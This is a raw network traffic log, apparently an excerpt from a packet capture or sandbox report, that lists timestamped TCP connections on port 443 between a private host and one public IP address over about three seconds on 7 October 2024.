Oct 7, 2024 18:01:44.006772995 CEST	60441	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.006781101 CEST	443	60441	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.009097099 CEST	60446	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.009149075 CEST	443	60446	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.009227037 CEST	60446	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.009504080 CEST	60446	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.009524107 CEST	443	60446	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.014997959 CEST	443	60442	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.015155077 CEST	443	60442	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.015213966 CEST	60442	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.015248060 CEST	60442	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.015254021 CEST	443	60442	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.015268087 CEST	60442	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.015273094 CEST	443	60442	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.017117023 CEST	60447	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.017214060 CEST	443	60447	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.017357111 CEST	60447	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.017467022 CEST	60447	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.017501116 CEST	443	60447	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.025121927 CEST	443	60444	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.026451111 CEST	443	60444	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.026483059 CEST	443	60444	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.026506901 CEST	60444	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.026536942 CEST	60444	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.026577950 CEST	60444	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.026577950 CEST	60444	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.026606083 CEST	443	60444	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.026628971 CEST	443	60444	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.028328896 CEST	60448	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.028353930 CEST	443	60448	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.028414011 CEST	60448	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.028505087 CEST	60448	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.028528929 CEST	443	60448	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.045300007 CEST	443	60443	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.045454979 CEST	443	60443	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.045506954 CEST	60443	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.045547009 CEST	60443	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.045563936 CEST	443	60443	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.045576096 CEST	60443	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.045581102 CEST	443	60443	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.047190905 CEST	60449	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.047246933 CEST	443	60449	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.047317028 CEST	60449	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.047427893 CEST	60449	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.047441959 CEST	443	60449	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.119003057 CEST	443	60445	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.119086027 CEST	443	60445	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.119132996 CEST	60445	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.119261980 CEST	60445	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.119280100 CEST	443	60445	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.119292974 CEST	60445	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.119297028 CEST	443	60445	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.121687889 CEST	60450	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.121707916 CEST	443	60450	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.121777058 CEST	60450	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.121896982 CEST	60450	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.121905088 CEST	443	60450	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.661427975 CEST	443	60446	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.662672997 CEST	60446	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.662709951 CEST	443	60446	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.663139105 CEST	60446	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.663145065 CEST	443	60446	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.681611061 CEST	443	60447	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.684504986 CEST	443	60448	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.687958002 CEST	443	60449	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.727139950 CEST	60447	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.727139950 CEST	60448	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.755460024 CEST	443	60450	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.758419037 CEST	60449	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.770986080 CEST	443	60446	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.771244049 CEST	443	60446	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.771294117 CEST	443	60446	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.771408081 CEST	60446	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.771408081 CEST	60446	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.778476954 CEST	60450	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.778486967 CEST	443	60450	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.778862000 CEST	60450	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.778866053 CEST	443	60450	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.779048920 CEST	60447	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.779082060 CEST	443	60447	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.779321909 CEST	60447	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.779335022 CEST	443	60447	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.779429913 CEST	60446	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.779449940 CEST	443	60446	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.779458046 CEST	60446	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.779463053 CEST	443	60446	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.780297041 CEST	60448	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.780308008 CEST	443	60448	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.780607939 CEST	60448	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.780622005 CEST	443	60448	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.780761003 CEST	60449	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.780764103 CEST	443	60449	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.781049013 CEST	60449	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.781053066 CEST	443	60449	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.794301987 CEST	60451	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.794377089 CEST	443	60451	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.794455051 CEST	60451	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.794632912 CEST	60451	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.794657946 CEST	443	60451	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.878948927 CEST	443	60450	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.879225969 CEST	443	60450	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.879329920 CEST	443	60450	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.879333973 CEST	60450	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.879371881 CEST	60450	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.883398056 CEST	443	60447	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.883481979 CEST	443	60447	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.883534908 CEST	60447	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.884208918 CEST	443	60448	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.884268045 CEST	443	60448	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.884319067 CEST	60448	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.887829065 CEST	443	60449	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.888293028 CEST	443	60449	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.888349056 CEST	60449	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.896279097 CEST	60450	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.896292925 CEST	443	60450	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.896328926 CEST	60450	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.896334887 CEST	443	60450	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.903873920 CEST	60449	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.903887987 CEST	443	60449	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.903897047 CEST	60449	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.903901100 CEST	443	60449	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.910937071 CEST	60447	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.910937071 CEST	60447	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.910981894 CEST	443	60447	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.911011934 CEST	443	60447	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.914493084 CEST	60448	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.914493084 CEST	60448	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.914565086 CEST	443	60448	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.914602041 CEST	443	60448	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.966497898 CEST	60452	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.966540098 CEST	443	60452	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.966619015 CEST	60452	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.969198942 CEST	60452	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.969209909 CEST	443	60452	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.971817017 CEST	60453	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.971851110 CEST	443	60453	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.971904039 CEST	60453	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.972162962 CEST	60453	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.972172976 CEST	443	60453	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.972601891 CEST	60454	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.972615957 CEST	443	60454	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.972661018 CEST	60454	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.972762108 CEST	60454	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.972771883 CEST	443	60454	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.973534107 CEST	60455	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.973548889 CEST	443	60455	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.973603964 CEST	60455	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.974390030 CEST	60455	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.974400997 CEST	443	60455	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.453715086 CEST	443	60451	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.454171896 CEST	60451	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.454193115 CEST	443	60451	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.454687119 CEST	60451	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.454690933 CEST	443	60451	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.522866011 CEST	443	60453	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.523461103 CEST	60453	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.523483038 CEST	443	60453	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.524101019 CEST	60453	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.524107933 CEST	443	60453	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.562262058 CEST	443	60454	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.562722921 CEST	60454	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.562741041 CEST	443	60454	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.563180923 CEST	60454	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.563185930 CEST	443	60454	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.569561958 CEST	443	60451	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.569859982 CEST	443	60451	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.569921017 CEST	60451	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.569977999 CEST	60451	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.569977999 CEST	60451	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.570024014 CEST	443	60451	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.570053101 CEST	443	60451	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.572666883 CEST	60456	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.572709084 CEST	443	60456	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.572789907 CEST	60456	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.572904110 CEST	60456	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.572921038 CEST	443	60456	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.611836910 CEST	443	60452	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.612243891 CEST	60452	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.612262011 CEST	443	60452	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.612692118 CEST	60452	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.612698078 CEST	443	60452	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.628257036 CEST	443	60453	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.629031897 CEST	443	60453	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.629091024 CEST	443	60453	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.629129887 CEST	60453	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.629236937 CEST	60453	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.629419088 CEST	60453	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.629435062 CEST	443	60453	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.632061958 CEST	60457	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.632108927 CEST	443	60457	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.632179022 CEST	60457	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.632296085 CEST	60457	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.632307053 CEST	443	60457	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.646382093 CEST	443	60455	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.646820068 CEST	60455	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.646837950 CEST	443	60455	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.647135019 CEST	60455	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.647140026 CEST	443	60455	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.678982019 CEST	443	60454	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.679161072 CEST	443	60454	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.679227114 CEST	60454	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.679359913 CEST	60454	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.679377079 CEST	443	60454	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.679399967 CEST	60454	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.679409027 CEST	443	60454	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.681974888 CEST	60458	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.681999922 CEST	443	60458	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.682069063 CEST	60458	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.682193041 CEST	60458	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.682204962 CEST	443	60458	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.717503071 CEST	443	60452	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.717619896 CEST	443	60452	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.717675924 CEST	443	60452	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.717730999 CEST	60452	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.717730999 CEST	60452	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.717833996 CEST	60452	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.717833996 CEST	60452	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.717850924 CEST	443	60452	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.717859983 CEST	443	60452	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.720223904 CEST	60459	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.720277071 CEST	443	60459	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.720355988 CEST	60459	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.720478058 CEST	60459	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.720495939 CEST	443	60459	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.777182102 CEST	443	60455	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.777283907 CEST	443	60455	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.777362108 CEST	60455	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.777502060 CEST	60455	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.777514935 CEST	443	60455	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.777534962 CEST	60455	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.777540922 CEST	443	60455	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.780476093 CEST	60460	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.780527115 CEST	443	60460	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:45.780616045 CEST	60460	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.780782938 CEST	60460	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:45.780802965 CEST	443	60460	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.227255106 CEST	443	60456	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.227973938 CEST	60456	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.228032112 CEST	443	60456	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.228550911 CEST	60456	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.228559017 CEST	443	60456	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.260698080 CEST	443	60457	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.261286974 CEST	60457	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.261311054 CEST	443	60457	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.261868000 CEST	60457	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.261873960 CEST	443	60457	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.314594984 CEST	443	60458	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.315407991 CEST	60458	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.315426111 CEST	443	60458	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.315874100 CEST	60458	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.315881014 CEST	443	60458	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.335931063 CEST	443	60456	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.336924076 CEST	443	60456	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.336982012 CEST	60456	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.337048054 CEST	60456	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.337070942 CEST	443	60456	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.337080956 CEST	60456	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.337088108 CEST	443	60456	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.340070963 CEST	60461	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.340114117 CEST	443	60461	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.340187073 CEST	60461	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.340358019 CEST	60461	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.340369940 CEST	443	60461	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.371165991 CEST	443	60457	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.372370005 CEST	443	60459	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.372755051 CEST	60459	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.372766018 CEST	443	60459	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.373322010 CEST	60459	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.373327017 CEST	443	60459	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.373982906 CEST	443	60457	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.374087095 CEST	60457	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.374131918 CEST	60457	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.374149084 CEST	443	60457	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.374161959 CEST	60457	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.374166965 CEST	443	60457	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.376904964 CEST	60462	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.376929998 CEST	443	60462	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.376986980 CEST	60462	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.377233982 CEST	60462	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.377245903 CEST	443	60462	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.424228907 CEST	443	60458	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.424767971 CEST	443	60458	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.424844980 CEST	60458	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.424863100 CEST	443	60458	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.424887896 CEST	443	60458	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.424936056 CEST	60458	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.424957991 CEST	60458	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.424969912 CEST	443	60458	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.424982071 CEST	60458	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.424985886 CEST	443	60458	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.428392887 CEST	60463	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.428468943 CEST	443	60463	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.428976059 CEST	60463	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.429271936 CEST	60463	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.429292917 CEST	443	60463	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.448689938 CEST	443	60460	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.449172974 CEST	60460	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.449191093 CEST	443	60460	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.449767113 CEST	60460	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.449771881 CEST	443	60460	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.482542038 CEST	443	60459	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.482613087 CEST	443	60459	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.482805014 CEST	60459	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.483017921 CEST	60459	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.483017921 CEST	60459	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.483036041 CEST	443	60459	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.483046055 CEST	443	60459	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.486031055 CEST	60464	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.486098051 CEST	443	60464	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.486192942 CEST	60464	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.486356974 CEST	60464	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.486377954 CEST	443	60464	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.560395002 CEST	443	60460	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.561358929 CEST	443	60460	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.561425924 CEST	60460	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.561471939 CEST	60460	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.561494112 CEST	443	60460	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.561506033 CEST	60460	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.561513901 CEST	443	60460	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.564326048 CEST	60465	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.564363956 CEST	443	60465	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:46.564451933 CEST	60465	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.564595938 CEST	60465	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:46.564606905 CEST	443	60465	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.042361021 CEST	443	60461	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.044313908 CEST	60461	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.044337034 CEST	443	60461	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.044794083 CEST	60461	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.044799089 CEST	443	60461	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.119710922 CEST	443	60462	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.126534939 CEST	60462	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.126564026 CEST	443	60462	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.126996994 CEST	60462	443	192.168.2.4	13.107.253.45
